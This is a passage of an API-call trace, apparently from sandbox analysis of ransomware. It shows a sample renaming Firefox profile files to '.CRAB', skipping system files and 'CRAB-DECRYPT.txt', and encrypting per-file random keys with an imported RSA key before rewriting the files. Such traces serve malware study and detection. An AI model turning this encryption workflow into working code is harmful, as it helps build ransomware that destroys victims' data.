	[0121.391] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.392] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.392] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.392] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.392] FindNextFileW (in: hFindFile=0x3165d18, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0121.392] lstrcmpW (lpString1="manifest.json", lpString2=".") returned 1
	[0121.392] lstrcmpW (lpString1="manifest.json", lpString2="..") returned 1
	[0121.392] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="manifest.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json"
	[0121.392] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.393] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json") returned 119
	[0121.393] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json") returned 119
	[0121.393] lstrlenW (lpString=".json") returned 5
	[0121.393] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.393] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".json ") returned 6
	[0121.393] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.393] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json") returned 119
	[0121.393] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json") returned 119
	[0121.393] lstrcmpiW (lpString1="manifest.json", lpString2="desktop.ini") returned 1
	[0121.393] lstrcmpiW (lpString1="manifest.json", lpString2="autorun.inf") returned 1
	[0121.393] lstrcmpiW (lpString1="manifest.json", lpString2="ntuser.dat") returned -1
	[0121.393] lstrcmpiW (lpString1="manifest.json", lpString2="iconcache.db") returned 1
	[0121.393] lstrcmpiW (lpString1="manifest.json", lpString2="bootsect.bak") returned 1
	[0121.394] lstrcmpiW (lpString1="manifest.json", lpString2="boot.ini") returned 1
	[0121.394] lstrcmpiW (lpString1="manifest.json", lpString2="ntuser.dat.log") returned -1
	[0121.394] lstrcmpiW (lpString1="manifest.json", lpString2="thumbs.db") returned -1
	[0121.394] lstrcmpiW (lpString1="manifest.json", lpString2="CRAB-DECRYPT.txt") returned 1
	[0121.394] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.394] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.CRAB") returned 124
	[0121.394] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json")) returned 0x20
	[0121.395] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json", dwFileAttributes=0x20) returned 1
	[0121.395] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.crab")) returned 1
	[0121.396] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0121.396] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.CRAB"
	[0121.397] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.CRAB.CRAB"
	[0121.397] CryptAcquireContextW (in: phProv=0x3148840, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148840*=0xd6e5a0) returned 1
	[0121.397] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.398] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.398] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.398] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314897c | out: pbBuffer=0x314897c) returned 1
	[0121.398] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0121.398] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.398] CryptAcquireContextW (in: phProv=0x3148840, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148840*=0xd6e408) returned 1
	[0121.399] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.399] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.399] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.399] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3148958 | out: pbBuffer=0x3148958) returned 1
	[0121.399] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.399] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.400] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0121.400] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0121.400] CryptAcquireContextW (in: phProv=0x3148830, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148830*=0xd6e7c0) returned 1
	[0121.401] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314882c | out: phKey=0x314882c*=0x31654d8) returned 1
	[0121.401] CryptGetKeyParam (in: hKey=0x31654d8, dwParam=0x8, pbData=0x314881c, pdwDataLen=0x3148824, dwFlags=0x0 | out: pbData=0x314881c*=0x800, pdwDataLen=0x3148824*=0x4) returned 1
	[0121.401] CryptEncrypt (in: hKey=0x31654d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314898c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314898c*=0x100) returned 1
	[0121.401] GetLastError () returned 0x0
	[0121.401] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0121.401] CryptAcquireContextW (in: phProv=0x3148830, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148830*=0xd6e738) returned 1
	[0121.402] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314882c | out: phKey=0x314882c*=0x3165118) returned 1
	[0121.402] CryptGetKeyParam (in: hKey=0x3165118, dwParam=0x8, pbData=0x314881c, pdwDataLen=0x3148824, dwFlags=0x0 | out: pbData=0x314881c*=0x800, pdwDataLen=0x3148824*=0x4) returned 1
	[0121.402] CryptEncrypt (in: hKey=0x3165118, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3148990*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3148990*=0x100) returned 1
	[0121.402] GetLastError () returned 0x0
	[0121.402] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0121.402] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3dc
	[0121.403] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0121.403] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0121.403] ReadFile (in: hFile=0x3dc, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x31489d4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x31489d4*=0x15d, lpOverlapped=0x0) returned 1
	[0121.417] VirtualAlloc (lpAddress=0x0, dwSize=0x160, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0121.417] VirtualAlloc (lpAddress=0x0, dwSize=0x160, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0121.417] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.418] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffea3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.418] WriteFile (in: hFile=0x3dc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x31489c4*=0x160, lpOverlapped=0x0) returned 1
	[0121.418] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.418] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.422] WriteFile (in: hFile=0x3dc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x31489c4*=0x100, lpOverlapped=0x0) returned 1
	[0121.424] WriteFile (in: hFile=0x3dc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x31489c4*=0x100, lpOverlapped=0x0) returned 1
	[0121.424] WriteFile (in: hFile=0x3dc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x31489c4*=0x8, lpOverlapped=0x0) returned 1
	[0121.424] CloseHandle (hObject=0x3dc) returned 1
	[0121.424] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.425] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.425] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.425] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.425] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.426] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.426] FindNextFileW (in: hFindFile=0x3165d18, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0121.426] lstrcmpW (lpString1="widevinecdm.dll", lpString2=".") returned 1
	[0121.426] lstrcmpW (lpString1="widevinecdm.dll", lpString2="..") returned 1
	[0121.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="widevinecdm.dll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll"
	[0121.426] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.426] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll") returned 121
	[0121.426] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll") returned 121
	[0121.426] lstrlenW (lpString=".dll") returned 4
	[0121.426] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.427] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".dll ") returned 5
	[0121.427] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.427] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.427] FindNextFileW (in: hFindFile=0x3165d18, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0121.427] lstrcmpW (lpString1="widevinecdm.dll.lib", lpString2=".") returned 1
	[0121.427] lstrcmpW (lpString1="widevinecdm.dll.lib", lpString2="..") returned 1
	[0121.427] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="widevinecdm.dll.lib" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib"
	[0121.427] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.427] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib") returned 125
	[0121.428] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib") returned 125
	[0121.428] lstrlenW (lpString=".lib") returned 4
	[0121.428] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.428] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lib ") returned 5
	[0121.428] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.428] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib") returned 125
	[0121.428] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib") returned 125
	[0121.428] lstrcmpiW (lpString1="widevinecdm.dll.lib", lpString2="desktop.ini") returned 1
	[0121.428] lstrcmpiW (lpString1="widevinecdm.dll.lib", lpString2="autorun.inf") returned 1
	[0121.428] lstrcmpiW (lpString1="widevinecdm.dll.lib", lpString2="ntuser.dat") returned 1
	[0121.428] lstrcmpiW (lpString1="widevinecdm.dll.lib", lpString2="iconcache.db") returned 1
	[0121.428] lstrcmpiW (lpString1="widevinecdm.dll.lib", lpString2="bootsect.bak") returned 1
	[0121.428] lstrcmpiW (lpString1="widevinecdm.dll.lib", lpString2="boot.ini") returned 1
	[0121.428] lstrcmpiW (lpString1="widevinecdm.dll.lib", lpString2="ntuser.dat.log") returned 1
	[0121.428] lstrcmpiW (lpString1="widevinecdm.dll.lib", lpString2="thumbs.db") returned 1
	[0121.428] lstrcmpiW (lpString1="widevinecdm.dll.lib", lpString2="CRAB-DECRYPT.txt") returned 1
	[0121.429] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.429] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.CRAB") returned 130
	[0121.429] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib")) returned 0x20
	[0121.429] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib", dwFileAttributes=0x20) returned 1
	[0121.430] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.crab")) returned 1
	[0121.431] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0121.431] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.CRAB"
	[0121.431] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.CRAB.CRAB"
	[0121.431] CryptAcquireContextW (in: phProv=0x3148840, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148840*=0xd6e408) returned 1
	[0121.432] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.432] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.433] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.433] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314897c | out: pbBuffer=0x314897c) returned 1
	[0121.433] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.433] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.433] CryptAcquireContextW (in: phProv=0x3148840, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148840*=0xd6e408) returned 1
	[0121.433] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.434] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.434] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.434] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3148958 | out: pbBuffer=0x3148958) returned 1
	[0121.434] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.434] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.434] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0121.435] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0121.435] CryptAcquireContextW (in: phProv=0x3148830, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148830*=0xd6e408) returned 1
	[0121.435] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314882c | out: phKey=0x314882c*=0x3165598) returned 1
	[0121.435] CryptGetKeyParam (in: hKey=0x3165598, dwParam=0x8, pbData=0x314881c, pdwDataLen=0x3148824, dwFlags=0x0 | out: pbData=0x314881c*=0x800, pdwDataLen=0x3148824*=0x4) returned 1
	[0121.435] CryptEncrypt (in: hKey=0x3165598, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314898c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314898c*=0x100) returned 1
	[0121.436] GetLastError () returned 0x0
	[0121.436] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.436] CryptAcquireContextW (in: phProv=0x3148830, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148830*=0xd6e6b0) returned 1
	[0121.436] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314882c | out: phKey=0x314882c*=0x3165658) returned 1
	[0121.436] CryptGetKeyParam (in: hKey=0x3165658, dwParam=0x8, pbData=0x314881c, pdwDataLen=0x3148824, dwFlags=0x0 | out: pbData=0x314881c*=0x800, pdwDataLen=0x3148824*=0x4) returned 1
	[0121.436] CryptEncrypt (in: hKey=0x3165658, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3148990*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3148990*=0x100) returned 1
	[0121.437] GetLastError () returned 0x0
	[0121.437] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0121.437] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3dc
	[0121.437] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0121.438] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0121.438] ReadFile (in: hFile=0x3dc, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x31489d4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x31489d4*=0x9a8, lpOverlapped=0x0) returned 1
	[0121.466] VirtualAlloc (lpAddress=0x0, dwSize=0x9b0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0121.466] VirtualAlloc (lpAddress=0x0, dwSize=0x9b0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0121.467] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.467] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffff658, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
